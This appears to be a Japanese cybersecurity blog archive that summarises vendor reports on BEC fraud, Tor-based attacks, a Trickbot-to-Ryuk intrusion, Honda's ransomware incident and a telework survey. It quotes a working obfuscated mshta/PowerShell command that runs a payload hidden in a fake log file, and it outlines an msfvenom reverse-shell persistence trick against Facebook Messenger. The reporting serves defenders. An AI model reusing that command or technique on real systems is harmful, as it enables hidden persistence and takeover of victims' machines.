みっきー申す

ITに関する興味関心のまとめ、サイバーセキュリティニュースのまとめ、Twitter(https://mobile.twitter.com/microkeyword)で配信中の情報まとめなどを公開します

ロシアのサイバー犯罪グループCosmic LynxによるBEC活動の観測について

f:id:micro_keyword:20200708131828j:plain:w400

Eメールセキュリティにおいて強みをもつ、米国のセキュリティベンダーAgariより、ロシアのサイバー犯罪グループCosmic Lynxの活動に関するブログ記事が公開されました。

https://www.agari.com/email-security-blog/cosmic-lynx-russian-bec

本記事では、Agariの見解を踏まえつつ、Cosmic LynxおよびBECの近況についてご紹介します。


目次


BECに関する注意喚起と過去の大きな被害について

BEC(Business E-mail Compromise)とは、ビジネスメール詐欺の略で、国内でも近年大きな被害をもたらしています。

当ブログでも、COVID-19関連で、FBIの注意喚起を取り上げました。

micro-keyword.hatenablog.com

また、公的な機関からの注意喚起として、IPA警察庁全銀協(全国銀行協会)からも、注意喚起が発行されており、継続して警戒が呼びかけられています。

www.ipa.go.jp

ビジネスメール詐欺に注意

www.zenginkyo.or.jp

IPAが公開している注意喚起では、BECのサンプルとして、以下が紹介されています。

https://www.ipa.go.jp/files/000081850.png

そして、国内で確認された、大きな被害としては、2017年の末に明らかになった航空業界における被害事例が挙げられます。

www.yomiuri.co.jp

この時の被害組織であるJALは約3億8000万円の詐欺被害に遭ったことが確認されています。


BEC脅威は拡大傾向

先述の通り、一組織の被害だけで億を超えるレベルの被害がおよぶBECですが、FBIのレポート(2019年版)にもある通り、年々増加傾向にあります。

https://pdf.ic3.gov/2019_IC3Report.pdf

図は、FBIのレポートを基にProofpointが作成。

https://www.proofpoint.com/sites/default/files/fbi_reported_losses_due_to_becaec.png

また、サイバー犯罪全体における被害額という点でも、全体の損失の40%を占め、金銭面においては最も大きな脅威だといっても過言ではありません。

f:id:micro_keyword:20200708132011p:plain

Agariも記事中で、

「高度なマルウェアベースの攻撃よりも投資収益率が高いため、サイバー犯罪がBECへの参入を強化することが予想できる」

と述べています。


Cosmic Lynxの活動

Agariの調査によると、Cosmic Lynxとの関連が予想されるBECキャンペーンが、2019年7月以降だけでも200以上確認されており、その被害は46か国にもおよぶとのことです。

そして、他のBECグループとは異なるCosmic Lynxの傾向として、大規模な多国籍企業をターゲットとしていて、その多くはFortune 500またはGlobal 2000の企業であることが確認されています。

https://www.agari.com/wp-content/uploads/2020/07/CL_Map-1024x615.png

ばっちり、日本も入っていますね。

また、標的となる従業員ベースで区分けすると、そのほとんどが、管理職および役員などの意思決定権を持つ従業員であることがわかります。

https://www.agari.com/wp-content/uploads/2020/07/CL_PieGraph.png

役職のない私のようなぺーぺーではまずお目にかかることはなさそうですね(笑)


Cosmic Lynxの手口

Cosmic Lynxは標的に送る最初のメールとして、以下のようなメールを送ります。

https://www.agari.com/wp-content/uploads/2020/07/CL-1.jpg

このメールでは、攻撃者が会社のCEOに成りすまして、企業買収完了のために必要な支払いを行うため、法律事務所と協力することを依頼する内容を記載しています。

攻撃者は、標的の企業が企業拡大の一環として、アジアの企業の買収を完了するための準備をしているという前提のもとこのメールを送ってきます。

その後、攻撃者は英国の法律事務所に所属する弁護士の正当なアカウントを乗っ取り、取引の継続を試みます。

そして最終段階として、攻撃者が用意した偽のアカウントに対し、支払いを要求します。

https://www.agari.com/wp-content/uploads/2020/07/CL-5-1024x787.jpg

支払い段階での傾向として、一般的なBECでの要求金額の相場が5万5000ドルである一方、Cosmic Lynxは平均120万ドルを要求し、その受取口座として、香港の銀行口座を使用するとのことです。

また、米国の口座の使用は好まず、ハンガリーポルトガルルーマニアの口座をサブアカウントとして利用する傾向にあるとのことです。

さらに、Cosmic Lynxは、一般的なBECで利用されるような無料のウェブアカウントや登録済みドメインの利用を行わず、最近話題のDMARCを悪用して、CEOのメールアドレスを偽装し、本人を装うとのことです。

そのため、対象組織がDMARCポリシーを実装していた場合にも、メールアドレスに成りすましたCEOの名前を表示し、あたかも本人から来たかのように装ってしまいます。

以下は、Cosmic Lynxが利用するなりすましメール(上)と非なりすましメール(下)なのですが、いずれもセキュアなメールインフラを用いたように装います。 (secure-mail-gateway[.]cc, encrypted-smtp-transport[.]cc, mx-secure-net[.]com)

https://www.agari.com/wp-content/uploads/2020/07/CL-6-1024x513.jpg

https://www.agari.com/wp-content/uploads/2020/07/CL-7-1024x508.jpg

これらはJ-CSIPが公開する攻撃メール情報の一覧でも確認できます。(以下、PDFのP.15に掲載)

https://www.ipa.go.jp/files/000080133.pdf

そして、Cosmic Lynxの特徴として、メールアドレスにuranusやneptuneを用いたり、SMTPDNSのサーバの名前にCosmicを用いたり、天体と関連がある名前を付けるとのことです。

また、彼らのインフラのWhoisレコードを隠し、インフラ自体のレジリエンスを高めるために、NiceVPSに多数のドメインを登録したことも確認されています。

さらに、Cosmic Lynxのインフラを調査してみると、 EmotetやTrickbotなどのバンキングトロジャンやAndroidベースのワンクリック詐欺マルウェアを利用した攻撃の形跡も確認されたとのことです。


まとめ

今回は、Agariが公開したCosmic Lynxの攻撃に関する内容を記載しました。

読んでいただいてお気づきかと思いますが、攻撃の観測内容と国内からの注意喚起を比較する限り、攻撃は日本に対しても間違いなく行われており、むしろ継続して活動されていることが推測されます。

この攻撃の対象になっている大企業の管理職や役員に、注意喚起が果たしてどこまで届くか疑問ではありますが、頑張って届くと嬉しいように思います。

とはいえ、たとえどんな立場の人間であっても、単独での意思決定及び行動ができないこと自体が、ある種の抑止力になるのかもしれないですね。

あとは、BEC自体、その組織における商習慣に則ったフローで決済処理なり承認なりが行われているかどうか、そして確実に守られているかどうかが、サイバー関係なく重視されるべきことなのかなと思います。

Torを使ったサイバー攻撃の戦術とその対策案

f:id:micro_keyword:20200703161105j:plain:w400

US-CERTより、FBIとの共同寄稿として、Torを使ったサイバー攻撃の戦術およびその対策案についてのアラートが発行されました。

www.us-cert.gov

本記事では、US-CERTの記事を中心として、Torについて、また、最近何かと話題のATT&CKについてご紹介しつつ、解説していこうと思います。


目次


まずTorについて

Torは、The Onion Routerの略で、ユーザが特定のサイトにアクセスする際に、いくつものノードを経由して接続することで、元の通信先を秘匿する暗号化通信技術を用いたソフトウェアです。

通信を中継するノード間の通信は暗号化されているため、盗聴や改ざんも防止されています。

以下は、@ITが公開している記事の図です。参考の図として掲載しておきます。

https://image.itmedia.co.jp/ait/articles/1602/01/wi-torfig01.png

そしてこのソフトウェアはTorプロジェクトによって管理されています。

www.torproject.org

元々はインターネットの民主性と匿名利用の促進のための使用を意図されていましたが、攻撃者にとっても好都合であるこの技術は徐々に悪用されるようになりました。

実はこのTor、名探偵コナンの映画でもNorと名前を変えて登場していました。

www.amazon.co.jp

ちなみに、こんなロゴです。

f:id:micro_keyword:20200703161302j:plain:w400

玉ねぎが白菜になっていますが、NorだからOnionが抜けてないやん!みたいなテンションですが(笑)

まあ、アニメだし、そんなことを言い始めたらコナン君空飛んだりするし。。


Torのアクセスはたどれないの?

先ほど述べたTorの技術により、通信時の送信元や、通信経路におけるネットワーク監視、トラフィック分析を困難にしています。

その結果、最終的に宛先のサーバへ通信を行うTorのExitノードからの通信情報のみしか、分析などで活用できないというのが勘所です。

ちなみに、中継点であるノードを一つ一つ、たどっていけば、理論的には送信元IPをたどることは可能なはずです。

ただし、それらノードの管轄は別々の国、別々の管理者の所有物であるボランティアサーバであり、それらをすべての通信をつなぎ合わせるためには中継点すべてのノードの管理者の協力が必要となります。

現実的には不可能だと思います。

さらに言うと、Torの中継ルートは一定時間で変更されることから難易度はさらに高いといえます。


Torを利用した攻撃の戦術

さて、ここからは、MITREが公開しているATT&CKフレームワークに基づいた攻撃戦術のお話をしていきます。

ATT&CKとは

ATT&CKと書いてアタックと読みます。

そうなんだ~って感じですよね。(怒られそう(笑))

このATT&CKは脆弱性の識別子CVEの発行組織として有名なMITRE社が開発した、攻撃の手法や戦術を体系化したフレームワークです。

attack.mitre.org

このフレームワークの利用によって、

攻撃グループやマルウェアサイバー攻撃におけるどの段階のどんな戦術と関連があるのか

がわかります。

攻撃の段階として、よく用いられるサイバーキルチェーンで示すと、Exploit以降の段階をATT&CKでは示しています。

https://blogs.mcafee.jp/wp-content/uploads/2018/11/002.png

上図は、McAfeeのブログを参照(引用元はMITRE社)

最近公開されている、標的型攻撃の記事などでは、記事のAppendixとして、IoCに添えてATT&CKの指標が書かれることが多いので、注目してみるといいかもしれません。

Torを用いた悪意のある活動

Torを用いた攻撃の活動としては以下が挙げられています。

  • Pre-ATT&CK(侵入準備段階)
    • 標的の選択
    • 技術情報収集
      • アクティブスキャンの実行
      • パッシブスキャンの実行
      • ドメインIPアドレス空間の決定
      • セキュリティ防御機能の特定
    • 技術的な弱点の特定
  • ATT&CK(侵入後)
    • 初期侵入
      • 公開されたアプリケーションへの侵入
    • C&C(コマンド&コントロール
      • Well-Knownポートの利用
      • プロキシの利用
      • カスタムコマンドや制御プロトコルの利用
      • カスタム暗号化プロトコルの利用
      • 多段プロキシの利用
      • 多段暗号化の利用
      • 標準アプリケーション層プロトコルの利用
    • 情報窃取
    • データ破壊や改ざん
      • データの暗号化(ランサムウェアなど)
      • エンドポイントのDoS(サービス拒否)
      • ネットワークのDoS(サービス拒否)

Torを利用した攻撃のへの対応策

US-CERTのアラートでは、Torを利用した攻撃を検出するための手法として、例を紹介しています。

ExitノードのIPアドレスを用いた検知

Torプロジェクトより、TorのExitノード一覧が公開されています。

blog.torproject.org

このリストをSIEMやログ分析プラットフォームに取り込むことで、不審な通信が発生した際の検知を可能にできます。

なお、このExitノード一覧は1時間ごとに更新されるので定期的な更新が推奨されます。

Torを用いた通信の特徴を踏まえた検知

これら、Torを用いた際の通信の特徴をセキュリティ機能の検知ルールに加えることで、検知が可能になります。

具体的な防御策

  • 定常運用において
    • TorのEntryノードおよびExitノードのIPアドレスリストを常に最新に維持する
  • SIEMの活用
    • Torの使用状況をインバウンドおよびアウトバウンドの両面の通信から把握できる運用を行う
  • ネットワークトラフィックの検査
  • インバウンド通信制
    • 既知のExitノードからの通信のブロックもしくは監視設定をセキュリティ機器およびソフトウェアに設定する
    • Tor通信の特徴的なポート番号利用をブロックもしくは監視する
  • アウトバウンド通信制
    • 組織からEntryノードへの通信のブロックもしくは監視設定をセキュリティ機器およびソフトウェアに設定する
    • Tor通信の特徴的なポート番号利用をブロックもしくは監視する

まとめ

今回は、US-CERTのアラートを中心にTorを用いた攻撃やその対応策についてご紹介しました。

とはいえ、あまりピンとこない方も多いと思いますし、「百聞は一見に如かず」ということで、一度Torを使ってみるのもよいかもしれません。

わかりやすい例がないかなーと思って事例を探してみたのですが、日本の記事だとLACが出している以下の記事くらいしか見当たりませんでした。

とはいえ、攻撃の流れ含めわかりやすいと思いますので、ぜひご参考にしてみてください。

www.lac.co.jp

Trickbotを起点にCobaltStrikeを活用した潜入活動を行う攻撃手法について

f:id:micro_keyword:20200625174530j:plain:w400

米国のセキュリティベンダーSentinelOneより、Trickbotのオペレータの攻撃手法に関する興味深い記事が公開されていましたので、ご紹介します。

labs.sentinelone.com

最初の章でご紹介しますが、Emotet→Trickbot→Ryukの流れでの感染拡大は、昨年末の日本でも広く確認されました。

今回のパターンでは、Trickbotに感染した後の話が書かれていますが、今回の記事で紹介されたanyrun上の検体をVirusTotalで確認した時の検知名がEmotetになっていることからも、おそらく、昨年の活動で用いられた検体である可能性が高いです。

https://app.any.run/tasks/8cba0d2f-683a-4402-a42d-25d469e45fc1/

https://www.virustotal.com/gui/file/7f9f5635c876365941ba74876dc37b9c3f7e0521cb5ceafe7833dde2a2749c82/detection

今後いつ、Emotetを起点とした活動が活発化するかもわかりませんので、万が一感染してしまった場合の勘所として、理解するための補助記事としてご活用いただけると幸いです。


目次


Trickbotについて

Trickbotは2016年の10月にMalwarebytesの記事にて詳細に紹介されています。

blog.malwarebytes.com

Trickbotという名前はボットに含まれるMutexに“Global\TrickBot”という名で記録されていることに由来します。

Mutexはマルウェアの実行時にシステムがすでに感染しているかどうかを判断するための目印として利用されます。

昨年末には、IBMのセキュリティブログにて、日本国内における感染活動の拡大が確認されています。

www.ibm.com

この時確認された、手法としては、悪意のあるファイルを起点としてEmotetに感染させたのち、Trickbotに感染させ、最終的にランサムウェアRyukを展開する流れでした。

以下の図は2019年の1月にKryptos Logicが公開した記事にて紹介されていたもので、流れがわかりやすく紹介されています。

https://www.kryptoslogic.com/blog/2019/01/north-korean-apt-and-recent-ryuk-ransomware-attacks/images/workflow.png

www.kryptoslogic.com

本ブログでも何度か紹介させていただいていますが、IPAよりEmotetへの感染を狙ったメールに関する注意喚起が公開されていますので、今一度ご確認いただければと思います。

www.ipa.go.jp

さきほど、ご紹介したIBMのブログ記事にもある通り、Trickbotは金融機関を対象として攻撃に用いられていることが確認されています。

以下は、Trickbotが狙うサービスごとの内訳になります。

https://www.ibm.com/blogs/security/jp-ja/wp-content/uploads/sites/5/2019/12/trickbot-chart01-1024x542.jpg

また、2019年12月時点の標的地域の内訳を示した図が以下です。

https://www.ibm.com/blogs/security/jp-ja/wp-content/uploads/sites/5/2019/12/trickbot-chart02-1024x542.jpg

さて、これらを踏まえつつ、今回確認された感染手法について記載します。


おおまかな攻撃の流れ<

まず、Trickbotへの感染後、ビーコンにlsコマンドを発行し、フォルダ構造を把握します。

https://labs.sentinelone.com/wp-content/uploads/2020/06/LS-command-issued-to-beacon.png

「Tasked beacon to ・・・」という部分がビーコンに対する実行命令であることがわかりますね。

ここでは、CloudAppというフォルダを用いて活動を試みています。

続いて、CobaltStrikeを用いた攻撃を決定した攻撃者はCobalt Strike-ToolKits DACheckを実行し、さらに、SYSTEM権限の奪取、エクスプロイトツールMimikatzの実行を試みます。

https://labs.sentinelone.com/wp-content/uploads/2020/06/Initial-tasks-executed-after-check-in.png

次に、ポートスキャンを実行します。

https://labs.sentinelone.com/wp-content/uploads/2020/06/Port-Scan-task-initiated.png

さらに、ドメインコントローラの管理者確認を実施します。

https://labs.sentinelone.com/wp-content/uploads/2020/06/Domain-admin-checked.jpg

その後、各管理者のパスワードハッシュを出力するコマンドを発行します。

https://labs.sentinelone.com/wp-content/uploads/2020/06/hashdump-issued.jpg

この後の活動として、PowerShellスクリプトをインポートしたうえで、他の場所へアクセスできないかどうかを試みる活動を実施します。

https://labs.sentinelone.com/wp-content/uploads/2020/06/PowerShell-leveraged-for-enumeration.png

その間にも同じドメインに所属する他の機器へのログオンも行い、情報を取得します。

https://labs.sentinelone.com/wp-content/uploads/2020/06/Interactive-Logon.jpg

https://labs.sentinelone.com/wp-content/uploads/2020/06/Machine-directory-listing.jpg

最終的には、ランサムウェアRyukを配置し、実行します。

https://labs.sentinelone.com/wp-content/uploads/2020/06/Ryuk-upload-and-detonate.jpg

パターンとして、PsExecを利用した方法でのRyuk実行も確認されています。

https://labs.sentinelone.com/wp-content/uploads/2020/06/Ryuk-detonated-via-PsExec.jpg


まとめ

久しぶりに、脆弱性やインシデントではなくマルウェアに関する内容をご紹介しました。

インシデントや脆弱性とは違って、経営層へのエスカレーションに直接響くようなものではないのかもしれませんが、攻撃の流れや今どんなマルウェアが使われ感染手法をとっているかを知ることは、いい勉強になるのかなと思っています。

意外と共通した手法を用いたり、トリガーが同じだったりすることもあるので、読みながら考えを巡らせていただけるとありがたいと思っています。

アプリケーションのエラーログを装ったファイルを用いる攻撃手法について

f:id:micro_keyword:20200622173305j:plain:w400

Huntress Labsという米国のセキュリティベンダが公開するブログ記事にて、興味深い攻撃手法が公開されました。

https://blog.huntresslabs.com/hiding-in-plain-sight-556469e0a4eblog.huntresslabs.com

私自身、当該組織については、良く知らなかったのですが、先日のRSA Conference 2020でも出展されていたようです。

https://www.rsaconference.com/usa/us-2020/expo-and-sponsors/huntress-labswww.rsaconference.com

ブログの記事では、マルウェアハッシュ値なども公開されていなかったので、詳細なマルウェアの挙動などは確認できないのですが、「こんな方法もあるんだ」くらいの気持ちで読んでいただければと思います。


目次


偽のエラーログを見つけたきっかけ

今回の発見は、BfeOnServiceStartTypenChangeという名の、タスクがスケジューリングされていることがきっかけだったようです。

具体的には、以下のコマンドにて実行が確認されたということでした。

C:\Windows\system32\BfeOnService.exe vbscript:CreateObject(\"Wscript.Shell\").Run(\"cmd.exe /C C:\Windows\system32\engine.exe -c \"\"IEX $($(gc 'C:\Windows\a.chk'|%{[char][int]($_.split('x')[-1])})-join'')\"\"\",0,True)(window.close)

BfeOnServiceStartTypenChangeのタスク自体および、コード中に記載されているコメントは、実際に存在するコマンドと同一のものを使用しているとのことです。

%windir%\system32\rundll32.exe bfe.dll,BfeOnServiceStartTypeChange

そして、実行されるコマンド中に記載されている、c:\windows\a.chkが今回のテーマであるファイルで、一見ログファイルに見えます。

https://miro.medium.com/max/1400/1*NuRdY20iXcCDBF1cCuJLWw.png

そして行の末尾に注目すると、16進数に偽装した、ASCII文字の10進数であることがわかります。

https://miro.medium.com/max/1400/1*6kTRF52PpMNVNj0stxJq0w.png

これらの、文字列は先ほどのコマンドに照らし合わせると、10進数ベースでASCIIコードに変換する様子がうかがえます。

https://miro.medium.com/max/1400/1*ZqYTLWinJdojEQfXymi0Fw.png

上記の図では、BfeOnService.exeがmshta.exe(正規のプログラム)、engine.exeがpowershell.exe(正規のプログラム)の名前を変えただけのものであることもわかります。

これらのファイルは、a.chkを読み込んでPowerShellに読み込ませ、実行するためのものであることも解析の中で分かっており、最終的に以下のスクリプトが成形されるとのことです。

logfile-first-payload.ps1 · GitHub


おおまかな攻撃の流れ

ブログの中で、攻撃の流れを以下のように図示しています。

https://miro.medium.com/max/1400/1*DVH74hS7MxFzH08iQ3L6cA.png

  1. 名前を偽装したPowerShellの実行により、復号化された偽のログファイルを読み込む。生成されたペイロードがPOSTリクエストを発生させ、「https[:]//X.X.X[.]X/<ランダムな文字列>.<aspまたはjspまたはphp>」へ接続し、応答を得る
  2. PSOTリクエストの応答にはエンコードされたPowerShellコマンドであり、このコマンドによって新たなGETリクエストが発生し、別のURLへ接続する(URLは一定時間ごとにランダムで作成される)
  3. そして、2.で返ってくる応答もエンコードされたPowerShellコマンドであり、Encrypt、Decrypt、Get-AV、Test-Administratorなどの機能を備えていて、ホストの情報を集めたり、ソフトウェアをインストールしたりすることが可能になる。

最終的に取得されるペイロードは以下のgithubレポジトリをご参照ください。

logfile-comparison.ps1 · GitHub


まとめ

今回ご紹介した事例のように、一見ログファイルに見えるファイルが実はペイロードだった!みたいなケースは、このごろ散見されますよね。

ステガノグラフィTwitterのアカウントを利用したケースもこれにあたると思います。

ステガノグラフィはタグを作ってみたので、以下のリンクにて参照される記事などを参考にしてみてください。

micro-keyword.hatenablog.com

Twitterのアカウントを利用したケースについては、以下の記事が参考になります。

www.welivesecurity.com

日本語版だとこの記事ですかね。

io.cyberdefense.jp

今回のケースを含め、これらの攻撃手法は、そうそう多いものではありませんが、方法の一つとして、知っておくことは、何かとためになる気がします。

興味の範囲でもいろいろと深堀してみると、さらに面白い発見があるのかも。

Windows版Facebook Messengerにてバックドアを実行できる脆弱性について

f:id:micro_keyword:20200614143607j:plain:w400

Reason Cybersecurityが公開するブログにて、「Facebook Messengerデスクトップアプリを使用した永続化手法」という題で、WindowsFacebook Messengerの脆弱性についての情報が公開されました。

blog.reasonsecurity.com

このReason Cybersecurityという企業は、創業者でありCTOのAndrewが、2004年にWindowsに買収されのちのWindows Defender開発に寄与したとされる、GIANT Company Softwareの共同創業者ということで知られているようです。

www.reasonsecurity.com

当該記事では、WindowsFacebook Messengerの脆弱性について記載されていますが、そもそも、WindowsFacebook Messenger自体、COVID-19のあおりを受けてか、2020年の4月2日にリリースされたばかりのようですね。

jp.techcrunch.com

以下は、Facebookからのメッセージです。

about.fb.com

今回は、脆弱性がどのようなもので、何に注意しなければいけないかなどについて、記載していきます。


目次


影響を受けるバージョン

今回、脆弱性の存在が確認されたのは、Microsoft Storeで入手可能なWindowsFacebook Messengerです。

脆弱性が確認されたのは460.16だとのことですが、その後公開された480.5では修正されているようです。

公式からはバージョンを追えなかったのですが、以下のダウンロードサイトからはMessenger 460.16.123.0の次がMessenger 480.5.121.0であることが、推測できますね。

facebook-messenger.softonic.jp

採番規則が少々不思議。。。


脆弱性の概要

実行されるべきでないコードがアプリケーションで実行されるのが脆弱性

結果として、Messenger上のリソースを呼び出すことで悪意の第三者が用意したマルウェアを実行させ、端末を乗っ取ることができます。

また、攻撃者はアクセスを検知されずに永続的に端末へのアクセスを確保することができます。

Messengerのデスクトップアプリにて、Python27ディレクトリよりPowershell.exeを呼び出す動作が確認されました。

https://blog.reasonsecurity.com/wp-content/uploads/2020/05/1-4.png

画像からもわかる通り、powershell.exeというファイルをPython27ディレクトリより呼び出していることがわかります。

system32配下に配置されているものではないので、管理者権限を持たない場合でも呼び出すことが可能で、たとえ、それが外部からアクセスした第三者であってもMessengerの起動を機に、powershell.exeを実行可能なことがわかります。

報告元のReasonSecurityの検証では、ペネトレーションテストツールのMetasploitで利用されるmsfvenomコマンドを用いて、リバースシェルを作成します。

そして、作成したシェルをpowershell.exeにリネームし攻撃対象の端末の「c:\python27」ディレクトリに転送しておきます。

そうすると、Messengerが起動されたタイミングで当該シェルが起動し、攻撃者の端末との接続が可能になります。

以下のように、攻撃者側で接続を待機して、

https://blog.reasonsecurity.com/wp-content/uploads/2020/05/Create-listenr.gif

Messengerが実行されると、接続が確立。

被害端末でのコマンド実行が実行可能になります。

https://blog.reasonsecurity.com/wp-content/uploads/2020/05/4.gif


まとめ

今回取り上げたWindows版のMessengerのように、リモートワークの普及に合わせて開発されたアプリケーションのクライアント版は多いかと思います。

ただ、今回のように脆弱性のような脆弱性が顕在化しているケースも多いのかもしれないですね。

もしかすると、テスト期間などを十分に取れないまま、リリースしたということなのかもしれません。

Zoomの件もそうですが、組織として利用する際には、ソフトウェアの安全性を確認してから導入することの大切さを改めて感じさせられます。

ホンダへのサイバー攻撃にSNAKEランサムウェアが使われた可能性

f:id:micro_keyword:20200609190553j:plain:w400

ホンダは6月9日、社内システムで起きた障害の発生により、メール、ファイルサーバ、業務システムに接続できない状況であることを明らかにしています。

www.asahi.com

www3.nhk.or.jp

xtech.nikkei.com

www.itmedia.co.jp

障害は6月8日の午前中から発生しており、当初は国内工場の端末から検査システムなどへのアクセスもできない状況だったとのことです。

その影響により、国内工場での出荷が一時できなくなり、8日の午後になるまで国内の3工場すべてで出荷を停止していたとのことです。

その後、6月9日午前の段階で、検査システムなどへの国内工場からのアクセスについては復旧したものの、社内システムへ接続できない状況は続いているとのことでした。

現在コロナの影響を受け多くの社員が在宅勤務をしているとのことですが、業務への影響のため、有給休暇の取得が呼びかけられているようです。

さらに、本件に関して、サイバー攻撃の疑いもあり、被害拡大防止の観点から、パソコンの使用制限を全社的に行っているとのことも広報担当者を通じて確認されています。

また、影響はヨーロッパでも起きていることが、英国のニュースサイトSkynewsの報道から明らかになっています。

news.sky.com

本記事では、現時点で確認されている情報を基にまとめます。


目次


VirusTotalで確認された検体

セキュリティ研究者のmilkreamによると、今回ホンダに影響を与えたとみられる検体が、VirusTotal上で確認されています。

また、当該Tweetに反応する形で、別のセキュリティ研究よりリプライがあり、当該検体が日本のアカウントよりアップロードされたことが確認されています。

そもそも、このSubmissionsはVirusTotalの有料アカウントからじゃないと見られないはずだから、この人もこの人なのだけれども。。

したがって、可能性としては、発見されたファイルがマルウェアであるかどうかの確認のため、VirusTotalにアップロードしたということも考えられます。

なお、当該検体は、mds.honda[.]comへの名前解決を試みるようですが、BleepingComputerの調査では、名前解決に失敗し、ファイルの暗号化を行わないままプロセスが終了するとのことです。

おそらく、侵入に成功したかどうかの判断を、内部ドメインだと推測されるmds.honda[.]comへの名前解決の成否に基づいて行っているというところでしょうか。

また、別のセキュリティ研究者Vitali Kremezによると、ホンダの米国支社に紐づいているIPアドレス170.108.71[.]153が、検体中で確認されています。


SNAKEランサムウェアについて

実はこのSNAKEランサムウェア、別名EKANSとも呼ばれており、暗号化したファイルの末尾をEKANSで終了することから来ているのかなと思っています。

https://nakedsecurity.sophos.com/wp-content/uploads/sites/2/2020/01/snake-snake-500.png

Sophosより

ところで、このEKANS、ポケモンのアーボの英名もEKANSなのですよね(笑)

SNAKEを逆読みしたのが英名だなんて、なかなか面白いですね。

www.pokemon.com

話を戻すと、この暗号化されたファイルの末尾につけるEKANSというマーカーは、身代金の支払いに被害者が応じた際、暗号化されたファイルが識別しやすくなるように行われているものだと推測されています。

それは、これまでのランサムウェアに多かった、ファイルの拡張子を特有のものに変更するパターンとは少し異なりますよね。

WannaCryのときは「.WNCRY」、GandCrabのときは「.GDCB」や「.KRAB」でした。

変わり種でいうと、SamSamランサムウェアでは「.weapologize」ですね。

ごめんなさいって、おいおい。

SNEAKの場合、拡張子は変更せずランダムな文字列をファイルの後ろに付加します。

https://nakedsecurity.sophos.com/wp-content/uploads/sites/2/2020/01/snake-overwrites-640.png


SNAKEによる被害の例

日本にも支社がある、ドイツの医療機器メーカーFresenius Medical Careでも今年の5月にSNAKEランサムウェアの被害に遭いました。

www.freseniusmedicalcare.com

www.bleepingcomputer.com

Fresenius Medical Careは製品の提供だけではなく、医療サービスの提供も行っています。

当該攻撃の影響によって、セルビアのセンターの患者情報がインターネット上に公開されてしまったとのことでした。

医療データには、一般開業医の名前と電話番号、アレルギーに関するメモ、検査結果、治療に関する医師の観察結果も含まれており、大変深刻な漏洩となってしまいました。

この時の感染マルウェアがSNAKEランサムウェアだと分かったのも、先述のEKANSの文字列からだったとされています。

こちらは3年前の記事にはなりますが、医療データについては、その活用の広さから攻撃者にとっての格好の標的だということが言及されていますので、ご参考までに。

攻撃対象としての医療データの魅力と価値(上) - 攻撃対象としての医療データの魅力と価値:CIO Magazine


まとめ

現時点でも、今回ホンダで起きたインシデントの全貌はわかっていません。

とはいえ、今回の場合、コロナ禍の中ということもあり、システムが使えず出社もできないという八方塞がりの状況に、同情するばかりです。

続報がなるべく早く、そして吉報であるといいですね。

<続編>テレワークへの影響調査を眺めていろいろ考えてみた

f:id:micro_keyword:20200605232021j:plain:w400

今回の記事もサイバーセキュリティはほとんど関係ないので悪しからず。

今回の記事も前回の続きになります。

micro-keyword.hatenablog.com

※本記事は、パーソル総合研究所「新型コロナウイルス対策によるテレワークへの影響に関する緊急調査」を参考に執筆しています。

rc.persol-group.co.jp

https://rc.persol-group.co.jp/research/activity/files/telework.pdf


目次


3蜜回避のための取り組みについて

4月7日緊急事態宣言後、緊急事態宣言地域の7都府県(東京、神奈川、埼玉、千葉、大阪、兵庫、福岡)の出社率は4月3日時点の73.1%から4月10日時点で58.5%まで減少しました。

f:id:micro_keyword:20200605225642p:plain

緊急事態宣言が出てもなお、58.5%の人は出社していたということで、政府が要請していた7割減には遠く及ばない状況だったわけですね。

ただ、どの職業においてもテレワークができるわけではないのは間違いないと思うので、この7割減の目標に対するこの数字が良いものかどうかという判断は非常に難しいと思います。

職業ごとの特性を踏まえると、特にテレワークの案内をしない企業があっても無理はないですよね。

f:id:micro_keyword:20200605225741p:plain

従業員側もテレワーク非実施者の半数近くがテレワークを希望している状況からも、その辺の苦悩があるのかなと思います。

f:id:micro_keyword:20200605225919p:plain

少し難しいのが時差出勤のグラフです。

f:id:micro_keyword:20200605230029p:plain

一見、50%以上も通常通りの出勤なの?と思うかもしれませんが、母数を見ると、テレワーク方針の時と変わりません。

そうなると、「時差出勤の案内なし」にテレワークをしている人も含まれてしまう可能性があり。判断が難しいです。

「テレワークをしている人が通常通り、勤務している」となるとは、時差出勤も何も。。。

対面会議の方針についても、「実施するかしないか」で極端な回答であり、「会議を絞っている」「会議人数を制限している」の選択肢がないため、このグラフだけで判断するのは難しいです。

f:id:micro_keyword:20200605230115p:plain


企業ごとの差異

企業規模別の調査結果を見ると、やはり大企業ほどテレワーク実施が進んでいるといった見方ができそうです。

この辺りは、なんとなく腑に落ちますね。

f:id:micro_keyword:20200605230222p:plain

業界別に見るとIT系や研究機関系のテレワーク実施率が高く、医療や運輸業は低いことがわかりますね。

f:id:micro_keyword:20200605230317p:plain

とはいえど、情報通信業で半分程度って。。。

会社から推奨されているのが73.5%だけど、実施となるとこれだけ差が出てしまうのは、運用の闇がちらり。

会社の方針=現場での実現性も一つの課題ですよね。

あと、気になる点として、宿泊、飲食、娯楽は業務がない割合が大きいですね。 つまり、実質の失業になっているわけで、改めて現状を思い知った気がします。

業種別は見ての通りですが、一応載せておきます。

f:id:micro_keyword:20200605230413p:plain


テレワークを実施しない理由

まずはこの図を見てください。

f:id:micro_keyword:20200605230510p:plain

先述の通り、1位の「テレワークで行える業務ではない」は企業ごとの事情があると思うので、仕方ない気がします。

ただ、2位、3位、5位の「テレワーク制度が整備されていない」、「テレワークのためのICT環境が整備されていない」、「テレワークを行う場所がない」は、裏を返せば環境さえ整えば実施ができるということなのでしょうか。

その他も、「影響がある」とは言いつつも、「できない」ということではなさそうです。

こうしてみてみると、今回の件を機に、企業側が環境を整えれば、「テレワークができる」ということになるのかと思います。

つまり、過半数の人がテレワークを実施する日もすぐそこまで近づいてきているのかもしれません。


テレワークの課題とは

では、仮にテレワークの実施が普及してきた場合に、何が課題になるのか。

「テレワークの困りごと」の調査結果からは、機器やネットなどの環境以外に、「運動不足など身体への影響」、「テレワークでできない仕事」、「効率の低下」、「コミュニケーション障害」が課題感として感じられています。

f:id:micro_keyword:20200605230617p:plain

一つ一つ、細かく考えていきましょう。

なお、「テレワークでできない仕事」については、個々の事情を把握しきれていないことも踏まえ、割愛いたします。

運動不足について

当該アンケートからは運動不足について、深く触れられていませんが、個人的にはとても重大なものだと思っています。

というのも、その他の理由として挙げられていた、効率の低下はもちろん、メンタル面でも影響を与えうることを考えると、結果的に生産性を落とすことになりかねないからです。

近々は、テレワークに慣れることが急務ではあるものの、今後は、企業として社員の健康維持に努めることも重要な要素になるかもしれません。

効率の低下と子育てについて

